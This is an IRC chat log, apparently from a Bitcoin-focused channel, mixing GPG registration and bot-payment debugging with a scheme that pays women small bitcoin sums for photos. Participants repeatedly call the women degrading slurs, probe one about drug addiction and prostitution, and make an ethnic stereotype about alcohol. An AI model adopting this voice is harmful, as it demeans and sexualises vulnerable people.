22:21 mircea_popescu copper stills are great for taking mash (0.x - 7% or so alcohol) to spirit (30-40% or so). they're terrible for trying the 30-50% to 95% part.
22:21 ckang wrong kind of still ofc
22:21 ckang but takes much less watts to start producing
22:21 mircea_popescu i suppose you could get a custom made resistor + multi-spot thermometers and push a point.
22:23 ckang yea a simple DIN PID controller with RTD (pt100/pt1000) would be pretty solid even
22:24 mircea_popescu anyway. i come from a country where 1l 196 proof is ~4 dollars, sold in convenience stores.
22:24 ckang denatured ?
22:24 mircea_popescu nope.
22:24 ckang wow lol
22:24 mircea_popescu women make visinata / etc home cordials and so on.
22:24 ckang many alcoholics?
22:24 mircea_popescu ask hanbot she loved it lol.
22:24 mircea_popescu ckang, it's eastern people, genetic alcohol immunity.
22:25 ckang ah
22:25 phf everyone has their own special "nastoyka"
22:25 ckang but yea at 4$ a liter, no point in making your own
22:26 mircea_popescu ckang, ppl do actually, many older folk own a quarter acre of plumtrees or so, make their own 45-52% "tuica".
22:26 ckang I want to say 1.75L is like 35$ or so for 190 here
22:26 phf a friend solved the problem of sourcing proper alcohol for nastoyka here by working at NIH.
22:28 ckang I never got that alcohol bug like some do though
22:28 douchebag me neither
22:29 mircea_popescu ckang, where is here ?
22:29 ckang USA
22:30 mircea_popescu yeah, well. ro avg wage is like $7k/year or such.
22:30 phf mircea_popescu: that's the romanian word for nastoyka? i know polaks calls it nalewka
22:30 douchebag !!up h00k3r
22:30 deedbot h00k3r voiced for 30 minutes.
22:30 ckang I thought about getting a fuel permit
22:30 h00k3r tits
22:30 ckang but it requires an on site inspection etc
22:31 mircea_popescu phf, not really drunk as such. it's either the plum thing, or else the sour cherry thing, basically. not really herbing.
22:31 trinque these creatures must be monosyllabic on "discord"
22:31 douchebag !!up Poka_
22:31 deedbot Poka_ voiced for 30 minutes.
22:31 mircea_popescu h00k3r, e55094aa. half hour.
22:31 mircea_popescu Poka_, d356dbbd, same.
22:32 mircea_popescu trinque, discord being an audio channel, it dun encourage much more conversation than its forerunner, the car radio.
22:32 mircea_popescu i suspect that's the driver, people couldn't get enough of bad talk radio and commutes.
22:33 mod6 <+ascii_lander> phunphakt : when you give 'exclude' option to tar, it excludes RECURSIVELY all files having that name, regardless of depth. this cost us 6 or so hrs today. << Jeeze, sorry you guys had some battles today, glad you persevered tho!
22:33 trinque yeah, also serves as an inverse aa. "huhuh are you smoking pot? I'm gonna smoke some pot"
22:34 mircea_popescu yeah, i noticed this, given present supply of pot the herbivores really need encouragement.
22:34 ckang lol
22:35 trinque meanwhile Poka_ says to himself "b-but I had theorems to share!"
22:35 mircea_popescu lol.
22:36 ckang hopefully not a him
22:36 ckang lol
22:36 mircea_popescu would help if they didn't share ips eh.
22:36 mircea_popescu "fuck that, what, i just happen to raid on a hooker's hotspot, why stereotite!"
22:36 h00k3r !!register http://p.bvulpes.com/pastes/LtyVX/?raw=true
22:36 deedbot CF422340903BCD3D374D639E837E72EA0DB8C5A7 registered as h00k3r.
22:37 Poka_ !!register http://p.bvulpes.com/pastes/xZWAi/?raw=true
22:37 deedbot C9E2D60F11B27BC30B5D62DF5CFD3308E9EE82BC registered as Poka_.
22:37 phf i've noticed in my travels that north of bay area, california is pot country. whole towns are nothing but dispenseries, mcdonalds*, token hippie store, and gas station.
22:37 trinque give the !!pay a sec
22:38 phf i mean, town after town after town. the impression is kind of the same as northern pa, trenton new jerson area, which is on the other hand the meth capital of u.s.
22:38 phf *new jersey
22:39 mircea_popescu phf, whereas south, meth ?
22:39 mircea_popescu trinque, aite, you say
22:39 h00k3r https://i.imgur.com/2RN43U2.jpg
22:39 trinque runnin a deploy, almost done
22:40 phf no idea, haven't been. i suspect it's a cleaner for longer stretches, i.e. south of bay area, north of los angeles
22:41 ckang mircea_popescu: veronicalol's had issues, not sure if it was the bot stuff earlier or if it just didnt go through
22:41 mircea_popescu phf, bakersfield...
22:41 mircea_popescu ckang, nah, missed the batch ; will get in next one.
22:41 h00k3r is this fine?
22:42 phf it's the same shock i had when i traveled in rust belt a decade ago and discovered that nobody's working and everyone's on drugs.
22:42 mircea_popescu h00k3r, works.
22:43 trinque ckang: that one she's got a withdraw sitting there waiting for OTP
22:43 mircea_popescu phf, kinda why the old man's pipe dream is so lulzy. srsly, make it great again ? da fuck what with ?!?
22:43 trinque probably otp confirm didn't work when the pipe was clogged
22:44 mircea_popescu trinque, i actually didn't confirm it as she came in after i was off to bed.
22:44 mircea_popescu will do her with these other ones.
22:44 trinque ah ok
22:45 ckang !!up driscole
22:45 deedbot driscole voiced for 30 minutes.
22:45 driscole Hi, here for picture.
22:45 mircea_popescu driscole, 1b8914a1. half hour.
22:49 trinque both did this at import http://p.bvulpes.com/pastes/3Dg7v/?raw=true
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22:50 mircea_popescu heh
22:50 trinque douchebag: are you trying to own the gpg on the wallet box?
22:50 trinque or what
22:50 douchebag no, look at both gpg keys
22:51 trinque what am I looking for here
22:51 douchebag no clue why they're not importing
22:52 trinque somehow their public keys aren't properly signed
22:52 trinque lol you know, I make reg transactional for the crackhos, and then!
22:53 trinque maybe you can hang out at ckang's discord instead
22:53 douchebag They're importing fine for me
22:53 ben_vulpes douchebag: what on earth gpg version are they using?
22:54 douchebag gpg (GnuPG) 2.1.18
22:54 douchebag libgcrypt 1.7.8
22:54 mircea_popescu tsk.
22:54 mircea_popescu we actually found a breaking 2.x/1.4 change ?
22:57 * trinque hasn't a clue yet
22:58 driscole https://usercontent.irccloud-cdn.com/file/v8PPPt9e/image.jpg
22:58 h00k3r !!balance
22:58 deedbot http://p.bvulpes.com/
22:58 douchebag ^
22:59 ben_vulpes driscole: cute
22:59 trinque douchebag: well yeah, key refused to import
22:59 driscole ben_vulpes: TY
22:59 mircea_popescu driscole, what do you do for a living ?
22:59 douchebag alright let me make her a new key
22:59 trinque nah
23:00 trinque the key imported elsewhere, but not on this particular gpg
23:00 trinque give me a sec
23:00 driscole mircea_popescu: I work as a bar back, in training to be a bar tender
23:00 mircea_popescu driscole, but you do realise you wrote 1d8914a not 1b8914a1 ?
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23:00 ben_vulpes haha shaaaaame
23:00 driscole omg, no :( dyslexia
23:01 mircea_popescu driscole, add a 1 do again.
23:01 mircea_popescu it's always 8 digits, btw. never 7.
23:01 phf fuzzing by whore, you should write it up douchebag, new fuzzing methodology, get it into toorcon
23:02 trinque it apparently totally works
23:02 douchebag hahahahaha
23:02 trinque !!up h00k3r
23:02 deedbot h00k3r voiced for 30 minutes.
23:02 trinque try balance again
23:02 h00k3r !!balance
23:02 trinque not that you've been paid yet
23:02 deedbot http://p.bvulpes.com/pastes/eBkUt/?raw=true
23:02 trinque great.
23:02 trinque ok, problem's a fucking missing newline
23:03 mircea_popescu phf, it's genuinely not bad.
23:03 douchebag !!up Poka_
23:03 deedbot Poka_ voiced for 30 minutes.
23:03 Poka_ https://i.imgur.com/94mvvbT.jpg
23:04 mircea_popescu trinque, so can i !!pay ? my buffer's getting filled up
23:04 trinque yeah, !!pay away
23:05 mircea_popescu Poka_, terrible. review http://trilema.com/2014/ill-pay-for-your-tits/ and re-do.
23:05 mircea_popescu !!pay h00k3r 0.02
23:05 deedbot Get your OTP: http://p.bvulpes.com/pastes/eUuf0/?raw=true
23:06 h00k3r ty!
23:06 mircea_popescu mah pleasure.
23:08 deedbot http://trilema.com/2018/auto-oracion-y-otras-temas/ << Trilema - Auto Oracion y otras temas
23:08 douchebag !!up anotherhooker
23:08 deedbot anotherhooker voiced for 30 minutes.
23:08 h00k3r titties!
23:08 mircea_popescu lol
23:08 anotherhooker titties!
23:08 mircea_popescu lmao
23:08 mircea_popescu anotherhooker, 95449401. half hour.
23:09 anotherhooker !!register http://p.bvulpes.com/pastes/zqrXg/?raw=true
23:09 deedbot FB63856CD1B96E58DE49C0D6390022FBA9B92F07 registered as anotherhooker.
23:10 mircea_popescu douchebag, seriously btw, writing the whole thing up, exactly as phf suggests, submitting it as paper/speaking gig to conferences, not even HALF bad idea.
23:10 mircea_popescu you'll be famous in an afternoon.
23:10 douchebag Oh yeah that would be quite hilarious yet interesting
23:11 trinque aaah the damned clock is askew on the wallet
23:11 trinque this matters for reasons
23:12 douchebag Never thought crackwhores improve IRC bots
23:12 douchebag shoutout to all the crackwhores
23:12 mircea_popescu douchebag, im sure trinque will help you with some reasonable details to give it enough meat once you have the general structure drafted.
23:14 * trinque will readily admit he has readjusted his sense of the usefulness of the hos
23:14 driscole https://usercontent.irccloud-cdn.com/file/usXL0dBt/image2.jpg
23:14 anotherhooker https://i.imgur.com/RIfD9Tc.jpg
23:16 douchebag lmao
23:16 trinque !!up driscole
23:16 deedbot driscole voiced for 30 minutes.
23:16 trinque anybody got one more? I wanna see the reg work all the way through.
23:17 mircea_popescu !!pay driscole 0.02
23:17 deedbot Get your OTP: http://p.bvulpes.com/pastes/V04pV/?raw=true
23:17 douchebag Maybe trying to find out of these sluts have friends
23:18 mircea_popescu that looks written in blood... hey, what did you do before whoring, anotherhooker ?
23:18 mircea_popescu !!pay anotherhooker 0.02
23:18 deedbot Get your OTP: http://p.bvulpes.com/pastes/96m8l/?raw=true
23:18 h00k3r I had a cheating husband
23:19 douchebag wrong window
23:19 mircea_popescu lol
23:19 douchebag sry man got these hoes on the same laptop
23:19 mircea_popescu so what, housewife turns to brothel life ?
23:20 anotherhooker sounds nuts but yes
23:20 trinque gotta say, that error message out of gpg is trash.
23:20 mircea_popescu pretty harsh.
23:21 mircea_popescu anotherhooker, maybe you should write out the story.
23:21 trinque driscole: got any friends that want to drop by?
23:21 ckang trinque: working on it :)
23:21 trinque also, you should all be able to !!withdraw , and lmk if not.
23:21 mircea_popescu lol, the texan favours the teenybopper crowd.
23:21 ckang i love her look
23:21 mircea_popescu trinque, not yet lol, i've not pushed the v batch.
23:21 trinque yeah dude. not bad.
23:22 ben_vulpes driscole: is that heart covering something up?
23:22 mircea_popescu so ask her over, what. who knows. everyone needs a vacation spot.
23:22 anotherhooker my husband got me into drugs and then cheated on me with another woman, and eventually it just took me over and i became a whore just like her
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23:23 driscole ben_vulpes: Yes, a name :)
23:23 ben_vulpes ahaaa
23:23 mircea_popescu anotherhooker, did he pimp you out, too ?
23:23 anotherhooker no i left him before i started doing this
23:23 mircea_popescu anotherhooker, could i interest you in reading a story of mine ?
23:24 h00k3r i like stories sure
23:24 anotherhooker ^
23:24 mircea_popescu http://trilema.com/2016/whore-wife/ <
23:27 ben_vulpes crickets
23:27 mircea_popescu are you kidding me, it's long.
23:27 ben_vulpes certainly a riveting tale
23:27 ben_vulpes nono, not no response, apparently engrossed.
23:27 mircea_popescu :p
23:27 mircea_popescu in other lulz : this chan is now 1/3 whore by mass.
23:28 mircea_popescu ONLY TIME IN IRC HISTORY THIS WAS THE FACTUAL TRUTH OF THE MATTER. EV4R.
23:29 douchebag lmfaoooo
23:29 mircea_popescu toxicfaxts.
23:29 trinque it's almost christlike in here
23:30 trinque danielpbarron go get 'em
23:31 mircea_popescu in other-other lulz : torrentmaster's new uberbox (that trinque graciously helped with) is in business, doing a glorious 10MB/s of the early trilema films -- that's about 4% of its pipe or so. in a week or two it will contain the complete list.
23:32 mircea_popescu i'm spending on it 3x what the average suburban douchebag spends on his car, it's true, but i count it as a mitzvah : this way, the films that matter have a better shot at survival than the films that don't.
23:32 trinque awesome. glad you're enjoying it!
23:32 ben_vulpes bless you, sir
23:32 mircea_popescu douchebag, no relation meant :D
23:33 mircea_popescu !~calc 1024**3 / 8 * 3600 * 24 * 365 / 765 * 1024**2
23:33 jhvh1 mircea_popescu: 1024**3 / 8 * 3600 * 24 * 365 / 765 * 1024**2 = 5801695990553756672
23:34 ben_vulpes i just reluctantly watched seth rogen's "comedy for charity" special thing, and aside from the predictably bad-because-too-short-because-format-demands-it standup "bits", i think he misses a golden opportunity to do a sketch where god scolds him for doing charity so damnably self-aggrandizingly
23:34 mircea_popescu i kid you not, 5.8 e+18 copies available per year!
23:34 douchebag Who are you calling a douchebag?
23:34 douchebag Better not be me!
23:35 mircea_popescu lol
23:36 mircea_popescu ben_vulpes, i think the average pantsuit can't do a good job on the topic of charity for fear such'd be tantamount to i dunno, having voted for trump. there's some fields in which the pantsuit perceive a need to be incredibly retarded for ingroup reasons.
23:36 mircea_popescu sorta like golddiggers have to pretend to not understand money.
23:37 ckang !!up rittah
23:37 deedbot rittah voiced for 30 minutes.
23:37 mircea_popescu rittah, 28366c3a. you gots... half hour.
23:37 anotherhooker that is quite the story
23:37 mircea_popescu anotherhooker, it actually has two more parts. but i'm glad you enjoyed.
23:37 mircea_popescu now write your own! with any luck, you're gonna be the next harry potter and ima be rid of that damnable bullshit.
23:38 mircea_popescu !!up anotherhooker
23:38 deedbot anotherhooker voiced for 30 minutes.
23:39 mircea_popescu !!rate anotherhooker 1 housewife turns to brothel life. harsh!
23:39 deedbot Get your OTP: http://p.bvulpes.com/pastes/xRbn1/?raw=true
23:40 mircea_popescu oh i fucked up my calc duh.
23:40 mircea_popescu !~calc 1024**3 / 8 * 3600 * 24 * 365 / 765 / 1024**2
23:40 jhvh1 mircea_popescu: 1024**3 / 8 * 3600 * 24 * 365 / 765 / 1024**2 = 5276611.764705882
23:40 mircea_popescu 5.27mn copies. more like it.
23:42 danielpbarron http://btcbase.org/log/2018-04-18#1801393 << so what if he did? a guy can't get a second wife?
23:42 a111 Logged on 2018-04-18 03:22 anotherhooker: my husband got me into drugs and then cheated on me with another woman, and eventually it just took me over and i became a whore just like her
23:43 trinque the drugs part sounds like not a side matter
23:43 danielpbarron drugs also not inherently bad
23:43 mircea_popescu but she wasn't saying inherently anything. she saying it didn't work for her.
23:43 danielpbarron sounds like making up excuses to be an adulterous drug addict
23:43 mircea_popescu guy can take as many wives as he wants, but when the outcome's this guy fucked up somewhere neh.
23:46 trinque http://btcbase.org/log/2017-03-15#1627514 << reminds me of this thread actually. I see it differently now.
23:46 a111 Logged on 2017-03-15 17:49 trinque: man, if I think back on all the women I cast away, and they were all in this room
23:46 mircea_popescu wisdom!
23:46 rittah https://usercontent.irccloud-cdn.com/file/ndVDh7Gz/image.jpg
23:46 mircea_popescu !!pay rittah 0.02
23:47 deedbot Get your OTP: http://p.bvulpes.com/pastes/YkUnL/?raw=true
23:47 mircea_popescu so what do you do for a living, rittah ?
23:47 rittah atm i play WoW and fortnite :x
23:47 rittah so I guess a gamer
23:47 mircea_popescu what, and sell the gold to the chinese ?
23:48 rittah nope, tips on twitch
23:48 mircea_popescu are you any good ?
23:48 rittah does it matter? :)
23:48 mircea_popescu just curious.
23:48 rittah i'm pretty good though
23:48 mircea_popescu can you say, take athene ?
23:48 mircea_popescu THE BEST PALADIN IN THE WORLD!!! ?
23:48 rittah no i'm a priest lol
23:48 mircea_popescu healslut or just priest ?
23:49 rittah pallys are pretty OP
23:49 rittah healslut, i like that
23:49 mircea_popescu do you know the guy i'm talking about ? total lulzcow.
23:49 rittah i don't, does he stream?
23:49 mircea_popescu rittah, there's a whole subculture, girls who express their submissive side by healing tanks/dps. sometimes also by showing up at natparties to be chained under the table for penis service.
23:49 mircea_popescu oh let me find it.
23:49 mircea_popescu dude's epic.
23:50 mircea_popescu https://www.youtube.com/watch?v=cLYrFR9RT_U <
23:51 rittah 2007 holy crap
23:51 mircea_popescu oya.
23:51 rittah i completely forgot the game is so old
23:51 mircea_popescu it's older than that. anyway, i've never seen a woman as embarassed as his gf in some other of his vlogs.
23:51 ben_vulpes jurov: mod6 http://p.bvulpes.com/pastes/8L9fz/?raw=true
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23:51 mircea_popescu (chick later ran for whatever denmark local thing , under pirate party banner. afaik lost)
23:52 rittah the game is too addictive, or im easily addicted lol
23:52 rittah have you tried fortnite?
23:53 mircea_popescu http://trilema.com/2012/cel-mai-bun-paladin-din-the-world/ << should prolly translate sometime. anyway moar vids.
23:53 mircea_popescu rittah, never have. all i play these days is eulora.
23:53 rittah oh, not heard of that one
23:55 ben_vulpes you know trinque it'd be neat if deedbot would pm folks upon invoicing
23:55 trinque yep, I have that in a list o' mine
23:55 ben_vulpes neato
23:56 trinque also boop the invoicer when paid/rejected
23:56 ben_vulpes similarly neat
23:58 mircea_popescu !!rate rittah 1 pretty good she says, though she still can't take athene.
23:58 deedbot Get your OTP: http://p.bvulpes.com/pastes/nl6FS/?raw=true
23:59 mircea_popescu !!up kloecat
23:59 deedbot kloecat voiced for 30 minutes.
00:00 kloecat 😀
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